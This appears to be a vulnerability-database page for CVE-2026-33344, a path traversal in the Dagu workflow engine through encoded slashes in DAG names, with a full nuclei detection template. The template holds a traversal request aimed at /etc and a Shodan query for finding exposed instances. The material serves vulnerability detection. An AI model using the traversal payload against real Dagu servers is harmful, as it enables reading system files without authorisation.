dagu <= 2.3.0 - Path Traversal via Encoded Slashes in DAG Name

highseverity

8.1CVSS score

0.5%likelihood of exploitation, next 30 days

43%of all CVEs are less likely

Readycheck to confirm it

Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.

Impact

Attackers can access files outside the intended directory, potentially exposing sensitive data or system files.

Fix

Update to version 2.3.1 or later.

How to confirm it

Send: GET /api/v1/dags/{{to_lower(rand_text_alpha(12))}}/spec
Positive when: contains_all(body, "not_found","DAG not found") and status_code == 404
Send: GET /api/v1/dags/..%2F..%2F..%2Fetc%2F{{to_lower(rand_text_alpha(12))}}.yaml/spec
Positive when: contains_all(body, "not_found","DAG not found") and status_code == 404

Run it with nuclei: nuclei -id CVE-2026-33344 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-33344

info:
  name: dagu <= 2.3.0 - Path Traversal via Encoded Slashes in DAG Name
  author: zohuyhieuzo03
  severity: high
  description: |
    Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.
  impact: |
    Attackers can access files outside the intended directory, potentially exposing sensitive data or system files.
  remediation: |
    Update to version 2.3.1 or later.
  reference:
    - https://github.com/dagu-org/dagu/security/advisories/GHSA-ph8x-4jfv-v9v8
    - https://github.com/dagu-org/dagu/commit/7d07fda8f9de3ae73dfb081ccd0639f8059c56bb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-33344
    epss-score: 0.00498
    epss-percentile: 0.43248
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 2
    vendor: dagucloud
    product: dagu
    shodan-query: title:"dagu"
  tags: cve,cve2026,dagu,lfi,oss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v1/dags/{{to_lower(rand_text_alpha(12))}}/spec HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "not_found","DAG not found")
          - status_code == 404
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/dags/..%2F..%2F..%2Fetc%2F{{to_lower(rand_text_alpha(12))}}.yaml/spec HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "not_found","DAG not found")
          - status_code == 404
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from